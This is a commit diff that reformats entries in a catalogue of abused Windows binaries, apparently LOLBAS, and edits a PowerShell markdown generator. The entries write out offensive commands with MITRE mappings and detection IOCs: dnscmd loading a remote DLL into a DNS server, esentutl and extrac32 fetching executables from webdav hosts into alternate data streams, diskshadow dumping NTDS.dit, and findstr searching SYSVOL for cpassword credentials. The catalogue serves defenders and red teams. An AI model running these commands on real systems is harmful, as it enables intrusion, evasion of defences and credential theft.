Changed all OSBinaries according to the new template

Mgmt-Scripts/Draft-MDFromYaml-webportal.ps1

@@ -30,11 +30,15 @@ function Convert-YamlToMD
         "description: $($YamlObject.Description)"| Add-Content $Outfile
         "function:"| Add-Content $Outfile
         # Need a category linked to the different things... Execute, Download, AWL-bypass. 
-        "  execute:"| Add-Content $Outfile
+        
         foreach($cmd in $YamlObject.Commands)
         {
-            "    - description: $($cmd.description)"| Add-Content $Outfile
+        "  $($cmd.Category):"| Add-Content $Outfile
-            "      code: $($cmd.command)"| Add-Content $Outfile
+            "    - description: $($cmd.Description)"| Add-Content $Outfile
+            "      code: $($cmd.Command)"| Add-Content $Outfile
+            "      code: $($cmd.Command)"| Add-Content $Outfile
+            "      mitreid: $($cmd.MitreID)"| Add-Content $Outfile
+            "      mitrelink: $($cmd.MitreLink)"| Add-Content $Outfile
         }
         "resources:"| Add-Content $Outfile
         foreach($link in $YamlObject.Resources)
@@ -108,13 +112,11 @@ function Invoke-GenerateMD
 
 #Generate the stuff!
 #Bins
-Invoke-GenerateMD -YmlPath "$mainpath\yml\OSBinaries" -Outpath "c:\tamp\Binaries" -Verbose
+#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSBinaries" -Outpath "c:\tamp\Binaries" -Verbose
 Invoke-GenerateMD -YmlPath "$mainpath\yml\OtherMSBinaries" -Outpath "c:\tamp\OtherMSBinaries" -Verbose
-Invoke-GenerateMD -YmlPath "$mainpath\yml\OtherBinaries" -Outpath "c:\tamp\OtherBinaries" -Verbose
+
-#
 ##Scripts
-Invoke-GenerateMD -YmlPath "$mainpath\yml\OSScripts" -Outpath "c:\tamp\SCripts" -Verbose
+#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSScripts" -Outpath "c:\tamp\SCripts" -Verbose
-Invoke-GenerateMD -YmlPath "$mainpath\yml\OtherScripts" -Outpath "c:\tamp\OtherScripts" -Verbose
+
-#
 ##Libs
-Invoke-GenerateMD -YmlPath "$mainpath\yml\OSLibraries" -Outpath "c:\tamp\Libraries" -Verbose
+#Invoke-GenerateMD -YmlPath "$mainpath\yml\OSLibraries" -Outpath "c:\tamp\Libraries" -Verbose

OSBinaries/Control.exe.md

@@ -17,4 +17,4 @@ Execute evil.dll which is stored in an Alternate Data Stream (ADS).
   * C:\Windows\sysWOW64\control.exe     
    
 * Notes: Thanks to Jimmy - @bohops  
-   
+   

OSBinaries/Csc.exe.md

@@ -18,4 +18,4 @@ csc -target:library File.cs
   * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
    
 * Notes: Thanks to ?  
-   
+   

OSBinaries/Cscript.exe.md

@@ -15,4 +15,4 @@ Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data St
   * c:\windows\sysWOW64\cscript.exe
    
 * Notes: Thanks to Oddvar Moe - @oddvarmoe  
-   
+   

yml/OSBinaries/Atbroker.yml

@@ -13,8 +13,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1218
     OperatingSystem: Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - path: C:\Windows\System32\Atbroker.exe
+  - Path: C:\Windows\System32\Atbroker.exe
-  - path: C:\Windows\SysWOW64\Atbroker.exe
+  - Path: C:\Windows\SysWOW64\Atbroker.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Bash.yml

@@ -21,8 +21,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1218
     OperatingSystem: Windows 10
 Full Path:
-  - path: C:\Windows\System32\bash.exe
+  - Path: C:\Windows\System32\bash.exe
-  - path: C:\Windows\SysWOW64\bash.exe
+  - Path: C:\Windows\SysWOW64\bash.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Bitsadmin.yml

@@ -1,5 +1,5 @@
 ---
-Name: bitsadmin.exe
+Name: Bitsadmin.exe
 Description: Used for managing background intelligent transfer
 Author: 'Oddvar Moe'
 Created: '2018-05-25'
@@ -37,8 +37,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1218
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - path: C:\Windows\System32\bitsadmin.exe
+  - Path: C:\Windows\System32\bitsadmin.exe
-  - path: C:\Windows\SysWOW64\bitsadmin.exe
+  - Path: C:\Windows\SysWOW64\bitsadmin.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Certutil.yml

@@ -37,8 +37,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1140
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - path: C:\Windows\System32\certutil.exe
+  - Path: C:\Windows\System32\certutil.exe
-  - path: C:\Windows\SysWOW64\certutil.exe
+  - Path: C:\Windows\SysWOW64\certutil.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Cmdkey.yml

@@ -13,8 +13,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1078
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - path: C:\Windows\System32\cmdkey.exe
+  - Path: C:\Windows\System32\cmdkey.exe
-  - path: C:\Windows\SysWOW64\cmdkey.exe
+  - Path: C:\Windows\SysWOW64\cmdkey.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Cmstp.yml

@@ -21,8 +21,8 @@ Commands:
     MitreLink: https://attack.mitre.org/wiki/Technique/T1191
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - path: C:\Windows\System32\cmstp.exe
+  - Path: C:\Windows\System32\cmstp.exe
-  - path: C:\Windows\SysWOW64\cmstp.exe
+  - Path: C:\Windows\SysWOW64\cmstp.exe
 Code Sample: 
 - Code:
 Detection:

yml/OSBinaries/Control.yml

@@ -1,21 +1,31 @@
 ---
 Name: Control.exe
-Description: Execute, Read ADS
+Description: Binary used to launch controlpanel items in Windows
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: control.exe c:\windows\tasks\file.txt:evil.dll
     Description: Execute evil.dll which is stored in an Alternate Data Stream (ADS).
+    Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1196
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1196
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Windows\system32\control.exe    '
+  - Path: C:\Windows\System32\control.exe
-  - 'C:\Windows\sysWOW64\control.exe     '
+  - Path: C:\Windows\SysWOW64\control.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Control.exe executing files from alternate data streams.
 Resources:
-  - https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
+  - Link: https://pentestlab.blog/2017/05/24/applocker-bypass-control-panel/
-  - https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
+  - Link: https://www.contextis.com/resources/blog/applocker-bypass-registry-key-manipulation/
-  - https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
+  - Link: https://twitter.com/bohops/status/955659561008017409
-  - https://twitter.com/bohops/status/955659561008017409
+  - Link: https://docs.microsoft.com/en-us/windows/desktop/shell/executing-control-panel-items
-Notes: Thanks to Jimmy - @bohops
+  - Link: https://bohops.com/2018/01/23/loading-alternate-data-stream-ads-dll-cpl-binaries-to-bypass-applocker/
-
+Acknowledgement:
+  - Person: Jimmy
+    Handle: '@bohops'
+---

yml/OSBinaries/Csc.yml

@@ -1,21 +1,35 @@
 ---
 Name: Csc.exe
-Description: Compile
+Description: Binary file used by .NET to compile C# code 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: csc -out:My.exe File.cs
+  - Command: csc.exe -out:My.exe File.cs
     Description: Use CSC.EXE to compile C# code stored in File.cs and output the compiled version to My.exe.
+    Usecase: Compile attacker code on system. Bypass defensive counter measures.
+    Category: Compile
+    Privileges: User
+    MitreID: T1127
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1127
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: csc -target:library File.cs
-    Description: ''
+    Description: Use CSC.EXE to compile C# code stored in File.cs and output the compiled version to a dll file.
+    Usecase: Compile attacker code on system. Bypass defensive counter measures.
+    Category: Compile
+    Privileges: User
+    MitreID: T1127
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1127
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
+  - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe
-  - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
+  - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Csc.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Csc.exe should normally not run a system unless it is used for development. 
 Resources:
-  - https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
+  - Link: https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
-  - ''
+Acknowledgement:
-Notes: Thanks to ?
+  - Person: 
-
+    Handle:
+---

yml/OSBinaries/Cscript.yml

@@ -1,19 +1,28 @@
 ---
 Name: Cscript.exe
-Description: Execute, Read ADS
+Description: Binary used to execute scripts in Windows
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: cscript c:\ads\file.txt:script.vbs
     Description: Use cscript.exe to exectute a Visual Basic script stored in an Alternate Data Stream (ADS).
+    Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\cscript.exe
+  - Path: C:\Windows\System32\cscript.exe
-  - c:\windows\sysWOW64\cscript.exe
+  - Path: C:\Windows\SysWOW64\cscript.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Cscript.exe executing files from alternate data streams
 Resources:
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-  - https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
+  - Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
-Notes: Thanks to Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Dfsvc.yml

@@ -1,19 +1,29 @@
 ---
 Name: Dfsvc.exe
-Description: Execute
+Description: ClickOnce engine in Windows used by .NET
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
-  - Command: Missing Example
+  - Command: Missing Example 
-    Description: ''
+    Description: Missing example
+    Usecase: Use binary to bypass Application whitelisting
+    Category: AWL bypass
+    Privileges: User
+    MitreID: T1127
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1127
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe     '
+  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
-  - 'C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe    '
+  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
-  - 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe    '
+  - Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
-  - 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe    '
+  - Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
+  - Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
-Notes: Thanks to Casey Smith - @subtee
+Acknowledgement:
+  - Person: Casey Smith
+    Handle: '@subtee'
+---

yml/OSBinaries/Diskshadow.yml

@@ -1,20 +1,36 @@
 ---
 Name: Diskshadow.exe
-Description: Execute, Dump NTDS.dit
+Description: Diskshadow.exe is a tool that exposes the functionality offered by the volume shadow copy Service (VSS).
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: diskshadow.exe /s c:\test\diskshadow.txt
     Description: Execute commands using diskshadow.exe from a prepared diskshadow script.
+    Usecase: Use diskshadow to exfiltrate data from VSS such as NTDS.dit
+    Category: Dump
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows server
   - Command: diskshadow> exec calc.exe
-    Description: Execute a calc.exe using diskshadow.exe.
+    Description: Execute commands using diskshadow.exe to spawn child process
+    Usecase: Use diskshadow to bypass defensive counter measures
+    Category: Execute
+    Privileges: User
+    MitreID: T1003
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1003
+    OperatingSystem: Windows server
 Full Path:
-  - c:\windows\system32\diskshadow.exe
+  - Path: C:\Windows\System32\diskshadow.exe
-  - c:\windows\sysWOW64\diskshadow.exe
+  - Path: C:\Windows\SysWOW64\diskshadow.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Child process from diskshadow.exe
+ - IOC: Diskshadow reading input from file
 Resources:
-  - https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
+  - Link: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/
-Notes: Thanks to Jimmy - @bohops
+Acknowledgement:
-
+  - Person: Jimmy
+    Handle: '@bohops'
+---

yml/OSBinaries/Dns.yml

@@ -1,27 +0,0 @@
----
-Name: Dnscmd.exe
-Description: Execute
-Author: ''
-Created: '2018-05-25'
-Categories: []
-Commands:
-  - Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
-    Description: 'Adds a specially crafted DLL as a plug-in of the DNS Service.'
-Full Path:
-  - c:\windows\system32\Dnscmd.exe
-  - c:\windows\sysWOW64\Dnscmd.exe
-Code Sample: []
-Detection: []
-Resources:
-  - https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
-  - https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
-  - https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
-  - https://twitter.com/Hexacorn/status/994000792628719618
-  - http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
-Notes: |
-    This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the refference links for DLL details.
-    Thanks to Shay Ber - ?,
-    Dimitrios Slamaris - @dim0x69,
-    Nikhil SamratAshok,
-    Mittal - @nikhil_mitt
-

yml/OSBinaries/Dnscmd.yml

@@ -0,0 +1,35 @@
+---
+Name: Dnscmd.exe
+Description: A command-line interface for managing DNS servers
+Author: 'Oddvar Moe'
+Created: '2018-05-25'
+Commands:
+  - Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
+    Description: Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
+    Usecase: Remotly inject dll to dns server
+    Category: Execute
+    Privileges: DNS admin
+    MitreID: T1035
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1035
+    OperatingSystem: Windows server
+Full Path:
+  - Path: C:\Windows\System32\Dnscmd.exe
+  - Path: C:\Windows\SysWOW64\Dnscmd.exe
+Code Sample: 
+- Code:
+Detection:
+ - IOC: Dnscmd.exe loading dll from UNC path
+Resources:
+  - Link: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
+  - Link: https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
+  - Link: https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
+  - Link: https://twitter.com/Hexacorn/status/994000792628719618
+  - Link: http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
+Acknowledgement:
+  - Person: Shay Ber
+    Handle:
+  - Person: Dimitrios Slamaris
+    Handle: '@dim0x69'
+  - Person: Nikhil SamratAshok
+    Handle: '@nikhil_mitt'
+---

yml/OSBinaries/Esentutl.yml

@@ -1,28 +1,59 @@
 ---
 Name: Esentutl.exe
-Description: Copy, Download, Write ADS, Read ADS
+Description: Binary for working with Microsoft Joint Engine Technology (JET) database
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
     Description: Copies the source VBS file to the destination VBS file.
+    Usecase: Copies files from A to B
+    Category: Copy 
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
     Description: Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.
+    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
     Description: Copies the source Alternate Data Stream (ADS) to the destination EXE.
-  - Command: esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
+    Usecase: Extract hidden file within alternate data streams
-    Description: Copies the source EXE to the destination Alternate Data Stream (ADS) of the destination file.
+    Category: Alternate data streams
-  - Command: esentutl.exe /y \\82.221.113.85\webdav\file.exe /d c:\ADS\file.exe /o
+    Privileges: User
-    Description: Copies the source EXE to the destination EXE file.
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
+    Description: Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.  
+    Usecase: Copy file and hide it in an alternate data stream as a defensive counter measure
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
     Description: Copies the source EXE to the destination EXE file
+    Usecase: Use to copy files from one unc path to another
+    Category: Download
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\esentutl.exe
+  - Path: C:\Windows\System32\esentutl.exe
-  - c:\windows\sysWOW64\esentutl.exe
+  - Path: C:\Windows\SysWOW64\esentutl.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://twitter.com/egre55/status/985994639202283520
+  - Link: https://twitter.com/egre55/status/985994639202283520
-Notes: Thanks to egre55 - @egre55
+Acknowledgement:
-
+  - Person: egre55
+    Handle: '@egre55'
+---

yml/OSBinaries/Expand.yml

@@ -1,23 +1,46 @@
 ---
 Name: Expand.exe
-Description: Download, Copy, Add ADS
+Description: Binary that expands one or more compressed files
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: expand \\webdav\folder\file.bat c:\ADS\file.bat
-    Description: 'Copies source file to destination.'
+    Description: Copies source file to destination.
+    Usecase: Use to copies the source file to the destination file
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: expand c:\ADS\file1.bat c:\ADS\file2.bat
-    Description: 'Copies source file to destination.'
+    Description: Copies source file to destination.
+    Usecase: Copies files from A to B
+    Category: Copy
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
-    Description: 'Copies source file to destination Alternate Data Stream (ADS).'
+    Description: Copies source file to destination Alternate Data Stream (ADS)
+    Usecase: Copies files from A to B
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\Expand.exe
+  - Path: C:\Windows\System32\Expand.exe
-  - c:\windows\sysWOW64\Expand.exe
+  - Path: C:\Windows\SysWOW64\Expand.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://twitter.com/infosecn1nja/status/986628482858807297
+  - Link: https://twitter.com/infosecn1nja/status/986628482858807297
-  - https://twitter.com/Oddvarmoe/status/986709068759949319
+  - Link: https://twitter.com/Oddvarmoe/status/986709068759949319
-Notes: Thanks to Rahmat Nurfauzi - @infosecn1nja, Oddvar Moe - @oddvarmoe
+Acknowledgement:
-
+  - Person: Rahmat Nurfauzi
+    Handle: '@infosecn1nja'
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Extexport.yml

@@ -1,18 +1,27 @@
 ---
 Name: Extexport.exe
-Description: Execute
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: Extexport.exe c:\test foo bar
-    Description: 'Load a DLL located in the c:\\test folder with one of the following names: mozcrt19.dll, mozsqlite3.dll, or sqlite.dll'
+    Description: Load a DLL located in the c:\test folder with one of the following names mozcrt19.dll, mozsqlite3.dll, or sqlite.dll
+    Usecase: Execute dll file
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - 'C:\Program Files\Internet Explorer\Extexport.exe    '
+  - Path: C:\Program Files\Internet Explorer\Extexport.exe
-  - C:\Program Files\Internet Explorer(x86)\Extexport.exe
+  - Path: C:\Program Files\Internet Explorer(x86)\Extexport.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: Extexport.exe loads dll and is execute from other folder the original path
 Resources:
-  - http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/
+  - Link: http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/
-Notes: Thanks to Adam - @hexacorn
+Acknowledgement:
-
+  - Person: Adam
+    Handle: '@hexacorn'
+---

yml/OSBinaries/Extrac32.yml

@@ -1,24 +1,47 @@
 ---
 Name: Extrac32.exe
-Description: Add ADS, Download
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
-    Description: 'Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.'
+    Description: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
+    Usecase: Extract data from cab file and hide it in an alternate data stream. 
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
-    Description: 'Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.'
+    Description: Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.
+    Usecase: Extract data from cab file and hide it in an alternate data stream. 
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
-    Description: 'Copy the source file to the destination file and overwrite it.'
+    Description: Copy the source file to the destination file and overwrite it.
+    Usecase: Download file from UNC/WEBDav
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\extrac32.exe
+  - Path: C:\Windows\System32\extrac32.exe
-  - c:\windows\sysWOW64\extrac32.exe
+  - Path: C:\Windows\SysWOW64\extrac32.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: 
 Resources:
-  - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
+  - Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
-  - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
+  - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
-  - https://twitter.com/egre55/status/985994639202283520
+  - Link: https://twitter.com/egre55/status/985994639202283520
-Notes: Thanks to Oddvar Moe - @oddvarmoe, egre55 - @egre55
+Acknowledgement:
-
+  - Person: egre55
+    Handle: '@egre55'
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---

yml/OSBinaries/Findstr.yml

@@ -1,23 +1,52 @@
 ---
 Name: Findstr.exe
-Description: Add ADS, Search
+Description: 
-Author: ''
+Author: 'Oddvar Moe'
 Created: '2018-05-25'
-Categories: []
 Commands:
   - Command: findstr /V /L W3AllLov3DonaldTrump c:\ADS\file.exe > c:\ADS\file.txt:file.exe
-    Description: 'Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.'
+    Description: Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
+    Usecase: Add a file to an alternate data stream to hide from defensive counter measures
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
   - Command: findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
-    Description: 'Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.'
+    Description: Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
-  - Command: findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
+    Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
-    Description: 'Search for stored password in Group Policy files stored on SYSVOL.'
+    Category: Alternate data streams
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: findstr /S /I cpassword \\sysvol\policies\*.xml
+    Description: Search for stored password in Group Policy files stored on SYSVOL.
+    Usecase: Find credentials stored in cpassword attrbute
+    Category: Credentials
+    Privileges: User
+    MitreID: T1081
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1081
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
+    Description: Searches for the string W3AllLov3DonaldTrump, since it does not exist (/V) file.exe is downloaded to the target file.
+    Usecase: Download/Copy file from webdav server
+    Category: Download
+    Privileges: User
+    MitreID: T1185
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1185
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full Path:
-  - c:\windows\system32\findstr.exe
+  - Path: C:\Windows\System32\findstr.exe
-  - c:\windows\sysWOW64\findstr.exe
+  - Path: C:\Windows\SysWOW64\findstr.exe
-Code Sample: []
+Code Sample: 
-Detection: []
+- Code:
+Detection:
+ - IOC: finstr.exe should normally not be invoked on a client system
